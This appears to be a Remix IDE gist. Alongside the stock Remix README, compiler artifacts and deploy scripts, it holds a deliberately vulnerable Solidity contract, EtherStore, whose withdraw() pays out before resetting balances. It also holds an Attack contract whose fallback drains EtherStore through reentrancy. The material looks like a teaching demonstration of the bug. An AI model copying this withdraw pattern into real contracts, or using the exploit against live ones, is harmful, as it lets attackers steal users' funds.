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vyorkin/README.txt

Created March 7, 2022 15:27
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Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.10+commit.fc410830.js&optimize=false&runs=200&gist=
Raw
README.txt
REMIX EXAMPLE PROJECT
Remix example project is present when Remix loads for the very first time or there are no files existing in the File Explorer.
It contains 3 directories:
1. 'contracts': Holds three contracts with different complexity level, denoted with number prefix in file name.
2. 'scripts': Holds two scripts to deploy a contract. It is explained below.
3. 'tests': Contains one test file for 'Ballot' contract with unit tests in Solidity.
SCRIPTS
The 'scripts' folder contains example async/await scripts for deploying the 'Storage' contract.
For the deployment of any other contract, 'contractName' and 'constructorArgs' should be updated (along with other code if required).
Scripts have full access to the web3.js and ethers.js libraries.
To run a script, right click on file name in the file explorer and click 'Run'. Remember, Solidity file must already be compiled.
Output from script will appear in remix terminal.
Raw
contracts...artifacts...Attack.json
{
"deploy": {
"VM:-": {
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"autoDeployLib": true
},
"main:1": {
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"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
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"contents": "{\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function validator_revert_t_address(value) {\n if iszero(eq(value, cleanup_t_address(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_address_fromMemory(offset, end) -> value {\n value := mload(offset)\n validator_revert_t_address(value)\n }\n\n function abi_decode_tuple_t_address_fromMemory(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_address_fromMemory(add(headStart, offset), dataEnd)\n }\n\n }\n\n}\n",
"id": 2,
"language": "Yul",
"name": "#utility.yul"
}
],
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}
]
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{
"name": "value0",
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"src": "1467:6:2"
},
{
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{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1480:9:2"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1491:1:2",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1476:3:2"
},
"nodeType": "YulFunctionCall",
"src": "1476:17:2"
}
],
"functionName": {
"name": "abi_encode_t_contract$_EtherStore_$141_to_t_address_fromStack",
"nodeType": "YulIdentifier",
"src": "1405:61:2"
},
"nodeType": "YulFunctionCall",
"src": "1405:89:2"
},
"nodeType": "YulExpressionStatement",
"src": "1405:89:2"
}
]
},
"name": "abi_encode_tuple_t_contract$_EtherStore_$141__to_t_address__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "1331:9:2",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "1343:6:2",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "1354:4:2",
"type": ""
}
],
"src": "1243:258:2"
}
]
},
"contents": "{\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n }\n\n function abi_encode_t_uint256_to_t_uint256_fromStack(value, pos) {\n mstore(pos, cleanup_t_uint256(value))\n }\n\n function abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_uint256_to_t_uint256_fromStack(value0, add(headStart, 0))\n\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function identity(value) -> ret {\n ret := value\n }\n\n function convert_t_uint160_to_t_uint160(value) -> converted {\n converted := cleanup_t_uint160(identity(cleanup_t_uint160(value)))\n }\n\n function convert_t_uint160_to_t_address(value) -> converted {\n converted := convert_t_uint160_to_t_uint160(value)\n }\n\n function convert_t_contract$_EtherStore_$141_to_t_address(value) -> converted {\n converted := convert_t_uint160_to_t_address(value)\n }\n\n function abi_encode_t_contract$_EtherStore_$141_to_t_address_fromStack(value, pos) {\n mstore(pos, convert_t_contract$_EtherStore_$141_to_t_address(value))\n }\n\n function abi_encode_tuple_t_contract$_EtherStore_$141__to_t_address__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_contract$_EtherStore_$141_to_t_address_fromStack(value0, add(headStart, 0))\n\n }\n\n}\n",
"id": 2,
"language": "Yul",
"name": "#utility.yul"
}
],
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},
"gasEstimates": {
"creation": {
"codeDepositCost": "189200",
"executionCost": "infinite",
"totalCost": "infinite"
},
"external": {
"": "infinite",
"attack()": "infinite",
"etherStore()": "infinite",
"getBalance()": "317"
}
},
"methodIdentifiers": {
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"etherStore()": "acd2e6e5",
"getBalance()": "12065fe0"
}
},
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{
"inputs": [
{
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"name": "_etherStoreAddress",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
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"type": "fallback"
},
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [],
"name": "etherStore",
"outputs": [
{
"internalType": "contract EtherStore",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "getBalance",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
}
]
}
Raw
contracts...artifacts...Attack_metadata.json
{
"compiler": {
"version": "0.8.10+commit.fc410830"
},
"language": "Solidity",
"output": {
"abi": [
{
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{
"internalType": "address",
"name": "_etherStoreAddress",
"type": "address"
}
],
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"type": "constructor"
},
{
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},
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
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"name": "etherStore",
"outputs": [
{
"internalType": "contract EtherStore",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "getBalance",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
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"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/Attack.sol": "Attack"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
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"runs": 200
},
"remappings": []
},
"sources": {
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"keccak256": "0x65ed25191525aacf347df3fa772b430490a7300ad99641a0b2ec68af5e89a8c9",
"license": "MIT",
"urls": [
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]
},
"contracts/EtherStore.sol": {
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"license": "MIT",
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]
}
},
"version": 1
}
Raw
contracts...artifacts...EtherStore.json
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"sourceMap": "58:567:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;529:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;84:40;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;221:241;;;;;;;;;;;;;:::i;:::-;;131:84;;;:::i;:::-;;529:94;572:4;595:21;588:28;;529:94;:::o;84:40::-;;;;;;;;;;;;;;;;;:::o;221:241::-;258:8;269;:20;278:10;269:20;;;;;;;;;;;;;;;;258:31;;313:1;307:3;:7;299:16;;;;;;327:9;342:10;:15;;365:3;342:31;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;326:47;;;391:4;383:37;;;;;;;;;;;;:::i;:::-;;;;;;;;;454:1;431:8;:20;440:10;431:20;;;;;;;;;;;;;;;:24;;;;248:214;;221:241::o;131:84::-;199:9;175:8;:20;184:10;175:20;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;131:84::o;7:77:1:-;44:7;73:5;62:16;;7:77;;;:::o;90:118::-;177:24;195:5;177:24;:::i;:::-;172:3;165:37;90:118;;:::o;214:222::-;307:4;345:2;334:9;330:18;322:26;;358:71;426:1;415:9;411:17;402:6;358:71;:::i;:::-;214:222;;;;:::o;523:117::-;632:1;629;622:12;769:126;806:7;846:42;839:5;835:54;824:65;;769:126;;;:::o;901:96::-;938:7;967:24;985:5;967:24;:::i;:::-;956:35;;901:96;;;:::o;1003:122::-;1076:24;1094:5;1076:24;:::i;:::-;1069:5;1066:35;1056:63;;1115:1;1112;1105:12;1056:63;1003:122;:::o;1131:139::-;1177:5;1215:6;1202:20;1193:29;;1231:33;1258:5;1231:33;:::i;:::-;1131:139;;;;:::o;1276:329::-;1335:6;1384:2;1372:9;1363:7;1359:23;1355:32;1352:119;;;1390:79;;:::i;:::-;1352:119;1510:1;1535:53;1580:7;1571:6;1560:9;1556:22;1535:53;:::i;:::-;1525:63;;1481:117;1276:329;;;;:::o;1611:147::-;1712:11;1749:3;1734:18;;1611:147;;;;:::o;1764:114::-;;:::o;1884:398::-;2043:3;2064:83;2145:1;2140:3;2064:83;:::i;:::-;2057:90;;2156:93;2245:3;2156:93;:::i;:::-;2274:1;2269:3;2265:11;2258:18;;1884:398;;;:::o;2288:379::-;2472:3;2494:147;2637:3;2494:147;:::i;:::-;2487:154;;2658:3;2651:10;;2288:379;;;:::o;2673:169::-;2757:11;2791:6;2786:3;2779:19;2831:4;2826:3;2822:14;2807:29;;2673:169;;;;:::o;2848:170::-;2988:22;2984:1;2976:6;2972:14;2965:46;2848:170;:::o;3024:366::-;3166:3;3187:67;3251:2;3246:3;3187:67;:::i;:::-;3180:74;;3263:93;3352:3;3263:93;:::i;:::-;3381:2;3376:3;3372:12;3365:19;;3024:366;;;:::o;3396:419::-;3562:4;3600:2;3589:9;3585:18;3577:26;;3649:9;3643:4;3639:20;3635:1;3624:9;3620:17;3613:47;3677:131;3803:4;3677:131;:::i;:::-;3669:139;;3396:419;;;:::o;3821:180::-;3869:77;3866:1;3859:88;3966:4;3963:1;3956:15;3990:4;3987:1;3980:15;4007:305;4047:3;4066:20;4084:1;4066:20;:::i;:::-;4061:25;;4100:20;4118:1;4100:20;:::i;:::-;4095:25;;4254:1;4186:66;4182:74;4179:1;4176:81;4173:107;;;4260:18;;:::i;:::-;4173:107;4304:1;4301;4297:9;4290:16;;4007:305;;;;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "245200",
"executionCost": "287",
"totalCost": "245487"
},
"external": {
"balances(address)": "2814",
"deposit()": "infinite",
"getBalance()": "317",
"withdraw()": "infinite"
}
},
"methodIdentifiers": {
"balances(address)": "27e235e3",
"deposit()": "d0e30db0",
"getBalance()": "12065fe0",
"withdraw()": "3ccfd60b"
}
},
"abi": [
{
"inputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"name": "balances",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "deposit",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [],
"name": "getBalance",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "withdraw",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
}
Raw
contracts...artifacts...EtherStore_metadata.json
{
"compiler": {
"version": "0.8.10+commit.fc410830"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"name": "balances",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "deposit",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [],
"name": "getBalance",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "withdraw",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/EtherStore.sol": "EtherStore"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/EtherStore.sol": {
"keccak256": "0xbcbf76e76508e16c75fffdffb3821203518fd1f2fb2e29314dd0eb90393630f0",
"license": "MIT",
"urls": [
"bzz-raw://8fe409f7cc45860d780f329e522ec41034232f5e91af14b41a948479d7d26457",
"dweb:/ipfs/QmNhgUpnJBySXJxcVVLnM51a51MAAJEegPVKhJj83U7ffn"
]
}
},
"version": 1
}
Raw
contracts...Attack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "./EtherStore.sol";
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
Raw
contracts...EtherStore.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
Raw
scripts...deploy_ethers.js
// Right click on the script name and hit "Run" to execute
(async () => {
try {
console.log('Running deployWithEthers script...')
const contractName = 'Storage' // Change this for other contract
const constructorArgs = [] // Put constructor args (if any) here for your contract
// Note that the script needs the ABI which is generated from the compilation artifact.
// Make sure contract is compiled and artifacts are generated
const artifactsPath = `browser/contracts/artifacts/${contractName}.json` // Change this for different path
const metadata = JSON.parse(await remix.call('fileManager', 'getFile', artifactsPath))
// 'web3Provider' is a remix global variable object
const signer = (new ethers.providers.Web3Provider(web3Provider)).getSigner()
let factory = new ethers.ContractFactory(metadata.abi, metadata.data.bytecode.object, signer);
let contract = await factory.deploy(...constructorArgs);
console.log('Contract Address: ', contract.address);
// The contract is NOT deployed yet; we must wait until it is mined
await contract.deployed()
console.log('Deployment successful.')
} catch (e) {
console.log(e.message)
}
})()
Raw
scripts...deploy_web3.js
// Right click on the script name and hit "Run" to execute
(async () => {
try {
console.log('Running deployWithWeb3 script...')
const contractName = 'Storage' // Change this for other contract
const constructorArgs = [] // Put constructor args (if any) here for your contract
// Note that the script needs the ABI which is generated from the compilation artifact.
// Make sure contract is compiled and artifacts are generated
const artifactsPath = `browser/contracts/artifacts/${contractName}.json` // Change this for different path
const metadata = JSON.parse(await remix.call('fileManager', 'getFile', artifactsPath))
const accounts = await web3.eth.getAccounts()
let contract = new web3.eth.Contract(metadata.abi)
contract = contract.deploy({
data: metadata.data.bytecode.object,
arguments: constructorArgs
})
const newContractInstance = await contract.send({
from: accounts[0],
gas: 1500000,
gasPrice: '30000000000'
})
console.log('Contract deployed at address: ', newContractInstance.options.address)
} catch (e) {
console.log(e.message)
}
})()
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